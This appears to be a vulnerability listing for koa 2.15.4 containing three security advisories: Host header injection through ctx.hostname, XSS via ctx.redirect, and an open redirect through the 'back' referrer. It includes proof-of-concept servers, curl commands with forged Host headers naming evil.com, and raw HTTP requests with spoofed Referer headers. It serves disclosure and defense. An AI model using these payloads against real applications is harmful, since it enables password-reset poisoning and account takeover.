koa @2.15.4

[Always reject] CVSS 7.5 (HIGH) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N ## Summary Koa's `ctx.hostname` API performs naive parsing of the HTTP Host header, extracting everything before the first colon without validating the input conforms to RFC 3986 hostname syntax. When a malformed Host header containing a `@` symbol (e.g., `evil.com:[email protected]`) is received, `ctx.hostname` returns `evil.com` - an attacker-controlled value. Applications using `ctx.hostname` for URL generation, password reset links, email verification URLs, or routing decisions are vulnerable to Host header injection attacks. ## Details The vulnerability exists in Koa's hostname getter in `lib/request.js`: ```javascript // Koa 2.16.1 - lib/request.js get hostname() { const host = this.host; if (!host) return ''; if ('[' === host[0]) return this.URL.hostname || ''; // IPv6 literal return host.split(':', 1)[0]; } ``` The `host` getter retrieves the raw header value with HTTP/2 and proxy support: ```javascript // Koa 2.16.1 - lib/request.js get host() { const proxy = this.app.proxy; let host = proxy && this.get('X-Forwarded-Host'); if (!host) { if (this.req.httpVersionMajor >= 2) host = this.get(':authority'); if (!host) host = this.get('Host'); } if (!host) return ''; return host.split(',')[0].trim(); } ``` ### The Problem The parsing logic simply splits on the first `:` and returns the first segment. There is no validation that the resulting string is a valid hostname per RFC 3986 Section 3.2.2. **RFC 3986 Section 3.2.2** defines the host component as: ``` host = IP-literal / IPv4address / reg-name reg-name = *( unreserved / pct-encoded / sub-delims ) unreserved = ALPHA / DIGIT / "-" / "." / "_" / "~" sub-delims = "!" / "$" / "&" / "'" / "(" / ")" / "*" / "+" / "," / ";" / "=" ``` The `@` character is explicitly NOT permitted in the host component - it is the delimiter separating userinfo from host in the authority component. ### Attack Vector When an attacker sends: ``` Host: evil.com:[email protected]:3000 ``` Koa parses this as: | API | Returns | Notes | |-----|---------|-------| | `ctx.get('Host')` | `"evil.com:[email protected]:3000"` | Raw header | | `ctx.hostname` | `"evil.com"` | **Attacker-controlled** | | `ctx.host` | `"evil.com:[email protected]:3000"` | Raw header value | | `ctx.origin` | `"http://evil.com:[email protected]:3000"` | Protocol + malformed host | The `ctx.hostname` API returns `evil.com` because the parser splits on the first `:` without understanding that `evil.com:[email protected]` is a malformed authority component where `evil.com:fake` would be interpreted as userinfo by a proper URI parser. ### Additional Concern: `ctx.origin` Koa's `ctx.origin` property concatenates protocol and host without validation: ```javascript // lib/request.js get origin() { return `${this.protocol}://${this.host}`; } ``` Applications using `ctx.origin` for URL generation receive the full malformed Host header value, creating URLs with embedded credentials that browsers may interpret as userinfo. ### HTTP/2 Consideration Koa explicitly checks `httpVersionMajor >= 2` to read the `:authority` pseudo-header: ```javascript if (this.req.httpVersionMajor >= 2) host = this.get(':authority'); ``` The same vulnerability applies - malformed `:authority` values containing userinfo would be accepted and parsed identically. ## PoC ### Setup ```javascript // server.js const Koa = require('koa'); const app = new Koa(); // Simulates password reset URL generation (common vulnerable pattern) app.use(async ctx => { if (ctx.path === '/forgot-password') { const resetToken = 'abc123securtoken'; const resetUrl = `${ctx.protocol}://${ctx.hostname}/reset?token=${resetToken}`; ctx.body = { message: 'Password reset link generated', resetUrl: resetUrl, debug: { rawHost: ctx.get('Host'), parsedHostname: ctx.hostname, origin: ctx.origin, protocol: ctx.protocol } }; } }); app.listen(3000, () => console.log('Server on http://localhost:3000')); ``` ### Exploit ```bash curl -H "Host: evil.com:fake@localhost:3000" http://localhost:3000/forgot-password ``` ### Result ```json { "message": "Password reset link generated", "resetUrl": "http://evil.com/reset?token=abc123securtoken", "debug": { "rawHost": "evil.com:fake@localhost:3000", "parsedHostname": "evil.com", "origin": "http://evil.com:fake@localhost:3000", "protocol": "http" } } ``` The password reset URL points to `evil.com` instead of the legitimate server. In a real attack: 1. Attacker requests password reset for victim's email with malicious Host header 2. Server generates reset link using `ctx.hostname` → `https://evil.com/reset?token=SECRET` 3. Victim receives email with poisoned link 4. Victim clicks link, token is sent to attacker's server 5. Attacker uses token to reset victim's password ### Additional Test Cases ```bash # Basic injection curl -H "Host: evil.com:[email protected]" http://localhost:3000/forgot-password # Result: hostname = "evil.com" # With port preservation attempt curl -H "Host: evil.com:[email protected]:3000" http://localhost:3000/forgot-password # Result: hostname = "evil.com" # Unicode/encoded variations curl -H "Host: evil.com:x%40legitimate.com" http://localhost:3000/forgot-password # Result: hostname = "evil.com" ``` ### Deployment Consideration For this attack to succeed in production, the malicious Host header must reach the Koa application. This occurs when: 1. **No reverse proxy** - Application directly exposed to internet 2. **Misconfigured proxy** - Proxy doesn't override/validate Host header 3. **Proxy trust enabled** (`app.proxy = true`) - `X-Forwarded-Host` can be injected 4. **Default virtual host** - Server is the catch-all for unrecognized Host headers ## Impact ### Vulnerability Type - CWE-20: Improper Input Validation - CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax ### Attack Scenarios **1. Password Reset Poisoning (High Severity)** - Attacker hijacks password reset tokens by poisoning reset URLs - Requires victim to click link in email - Results in account takeover **2. Email Verification Bypass** - Attacker poisons email verification links - Can verify attacker-controlled email on victim accounts **3. OAuth/SSO Callback Manipulation** - Applications using `ctx.hostname` for OAuth redirect URIs - Attacker redirects OAuth callbacks to malicious server - Results in token theft **4. Web Cache Poisoning** - If responses are cached without Host in cache key - Poisoned URLs served to all users - Persistent XSS/phishing via cached responses **5. Server-Side Request Forgery (SSRF)** - Internal routing decisions based on `ctx.hostname` - Attacker manipulates which backend receives requests ### Who Is Impacted - **Direct impact**: Any Koa application using `ctx.hostname` or `ctx.origin` for URL generation without additional validation - **Common patterns**: Password reset, email verification, webhook URL generation, multi-tenant routing, OAuth implementations

CVSS 5.0 (MEDIUM) — CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L ### Summary In koa < 2.16.1 and < 3.0.0-alpha.5, passing untrusted user input to ctx.redirect() even after sanitizing it, may execute javascript code on the user who use the app. ### Patches This issue is patched in 2.16.1 and 3.0.0-alpha.5. ### PoC Coming soon... ### Impact 1. Redirect user to another phishing site 2. Make request to another endpoint of the application based on user's cookie 3. Steal user's cookie

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CVSS 3.5 (LOW) — CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N ## Summary In the latest version of Koa, the back method used for redirect operations adopts an insecure implementation, which uses the user-controllable referrer header as the redirect target. ## Details on the API document https://www.koajs.net/api/response#responseredirecturl-alt, we can see: **response.redirect(url, [alt])** ``` Performs a [302] redirect to url. The string "back" is specially provided for Referrer support, using alt or "/" when Referrer does not exist. ctx.redirect('back'); ctx.redirect('back', '/index.html'); ctx.redirect('/login'); ctx.redirect('http://google.com'); ``` however, the "back" method is insecure: - https://github.com/koajs/koa/blob/master/lib/response.js#L322 ``` back (alt) { const url = this.ctx.get('Referrer') || alt || '/' this.redirect(url) }, ``` Referrer Header is User-Controlled. ## PoC **there is a demo for POC:** ``` const Koa = require('koa') const serve = require('koa-static') const Router = require('@koa/router') const path = require('path') const app = new Koa() const router = new Router() // Serve static files from the public directory app.use(serve(path.join(__dirname, 'public'))) // Define routes router.get('/test', ctx => { ctx.redirect('back', '/index1.html') }) router.get('/test2', ctx => { ctx.redirect('back') }) router.get('/', ctx => { ctx.body = 'Welcome to the home page! Try accessing /test, /test2' }) app.use(router.routes()) app.use(router.allowedMethods()) const port = 3000 app.listen(port, () => { console.log(`Server running at http://localhost:${port}`) }) ``` **Proof Of Concept** ``` GET /test HTTP/1.1 Host: 127.0.0.1:3000 Referer: http://www.baidu.com Connection: close GET /test2 HTTP/1.1 Host: 127.0.0.1:3000 Referer: http://www.baidu.com Connection: close ```   ## Impact https://learn.snyk.io/lesson/open-redirect/